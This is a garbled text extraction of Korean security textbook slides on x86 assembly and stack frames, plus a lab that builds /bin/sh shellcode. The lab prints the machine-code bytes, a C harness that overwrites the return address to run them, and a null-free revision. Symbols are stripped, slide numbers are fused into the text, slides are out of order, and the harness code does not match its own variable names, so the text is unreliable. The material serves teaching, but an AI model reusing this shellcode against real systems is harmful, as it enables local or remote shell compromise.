code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 41: 80×86  시스템에 대한 이해

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

